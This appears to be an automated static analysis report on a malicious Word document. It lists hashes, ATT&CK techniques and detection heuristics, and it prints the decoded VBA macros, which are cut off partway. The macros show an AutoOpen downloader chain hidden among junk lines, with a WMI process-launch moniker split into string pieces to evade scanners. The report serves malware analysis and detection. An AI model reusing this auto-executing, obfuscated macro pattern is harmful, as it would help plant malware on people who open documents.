Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c03ef96d9933ed8…

MALICIOUS

Office (OLE)

139.8 KB Created: 2019-05-03 12:26:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 19e6ab5861c742ee67e9eefac77e45bd SHA-1: 215de7c88859079898336d425e6af90ccc7453fe SHA-256: 6c03ef96d9933ed865c770135fa52fddc780e30d5cddff4c4caff56561b2387d
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen function, indicating it is designed to execute automatically upon opening. The macros utilize GetObject and CreateObject to interact with WMI (specifically 'winmgmts') to launch a process, a common technique for downloading and executing further malicious payloads. The obfuscation of 'winmgmts' via string splitting further suggests malicious intent.

Heuristics 8

  • ClamAV: Doc.Downloader.Smpowloadbb-6961027-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Smpowloadbb-6961027-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8157 bytes
SHA-256: 4553e01b2627dbfe42222be7a92776e18fa733d59270e3090e42006b525c3934
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "B9440252"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "N9_9818"
Attribute VB_Base = "0{DC045711-358D-48F7-9ADF-62C99D432B51}{D0B33DFA-DF83-4947-82AD-4164307B530B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q4601_5"

Attribute VB_Name = "X558282"

Attribute VB_Name = "i12476"

Attribute VB_Name = "F45_87"

Attribute VB_Name = "C0_813_9"

Attribute VB_Name = "N825799"

Attribute VB_Name = "F82063"
Attribute VB_Base = "0{AE3BD724-9916-4ECB-A218-AC3BA8DA7FAD}{AF709551-42A6-489B-96C7-E355A2CB64ED}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "l2964381"
Function E_30_0(w8393244)
   With T1238226
'.E81_698 = (Log(h245878) + 806153114 * k_6343)
'.S004328 = (Log(J495_2) + 665909104 * j396942)
'.U7589544 = (Log(P039366) + 471050418 * n005860)
'.H7345308 = (Log(T172268) + 493637045 * z3034_6)
End With
   With N6869_
'.B13_6803 = (Log(O032888) + 166063959 * h6048_)
'.q448_285 = (Log(s6605851) + 993400263 * O179646)
'.N7_16927 = (Log(a37846) + 812719799 * G08_94)
'.o_5023 = (Log(N765870) + 99848213 * L843387)
End With
Set E_30_0 = CVar(w8393244)
   With h38_647
'.D_80727 = (Log(l07_4_57) + 614209116 * T8_22_)
'.Q652071 = (Log(Y25755_0) + 550345396 * Q9783724)
'.m86_654 = (Log(P4062679) + 9033087 * O78746)
'.v4682596 = (Log(t_720_8) + 493753556 * M8021_3)
End With
   With i_670597
'.S3_092 = (Log(w5_6095) + 837679632 * w5_46_)
'.O3585182 = (Log(w224_8) + 497934806 * P54017)
'.G218_000 = (Log(O_0986) + 140546863 * I85499)
'.Y_541847 = (Log(f_3352) + 426437651 * J6998276)
End With
End Function
Sub autoopen()
On Error Resume Next
   With w22506
'.w8_5_98 = (Log(r1354501) + 632499478 * f4751069)
'.b7744385 = (Log(s09265) + 887244126 * O3361071)
'.D303046 = (Log(A33861) + 902065190 * Z071703)
'.E66821 = (Log(r17_0_) + 752561621 * m1796221)
End With
   With C8_13152
'.q_0_0936 = (Log(M86055_0) + 636531591 * Q3_26412)
'.X27642 = (Log(n6390_) + 939839505 * c_4438)
'.j095625 = (Log(p6_4238) + 758984966 * i641343)
'.D03661 = (Log(b93405) + 381184636 * K959775)
End With
Call B11519
   With a2656920
'.v05547 = (Log(q374800) + 625706670 * X1851553)
'.b761465 = (Log(m9394_52) + 383914119 * G_436746)
'.A28__386 = (Log(Z10603) + 228965522 * h319347)
'.i82_10 = (Log(a0488854) + 182687563 * p435__)
End With
   With t61373
'.o0419_ = (Log(t049043) + 210466061 * S73123)
'.P125291 = (Log(K_5393) + 172641077 * W96638)
'.J21882 = (Log(f95586) + 758837335 * D42_75)
'.z96090 = (Log(C7_066) + 794436145 * H6946017)
End With
   With R278_59
'.z012976 = (Log(r252198) + 938800693 * X01372)
'.D6_4962 = (Log(q0557515) + 333705186 * l221665)
'.i615_595 = (Log(v110013) + 662495454 * z933_00)
'.n4151340 = (Log(L77__15) + 693196729 * v4974_)
End With
End Sub

Attribute VB_Name = "S675_5"
Function B11519()
On Error Resume Next
   With l264616
'.i81724 = (Log(N2_3763) + 57777278 * V0011293)
'.n9611104 = (Log(a70_945) + 693025926 * B_0409)
'.h_90389 = (Log(z268_32) + 307062098 * t39817)
'.n0324038 = (Log(h4324866) + 135946684 * m8__94)
End With
   With d1_92841
'.c_97201 = (Log(C21895_5) + 161548203 * k93497_)
'.f_13843 = (Log(v3_50_) + 702817803 * T11_361)
'.k5070951 = (Log(u16245) + 245651282 * P_38817)
'.j972966 = (Log(S52_90) + 583025643 * u087_46)
End With
Set p67569_0 = E_30_0(GetObject("winmgmt" + "s:Wi" + "n32_Process" + "Startup"))
   With J400219
'.G01602 = (Log(i217271) + 875451544 * h74046)
'.Q_33_476 = (Log(A285___) + 228393074 * P9779336)
'.
... (truncated)

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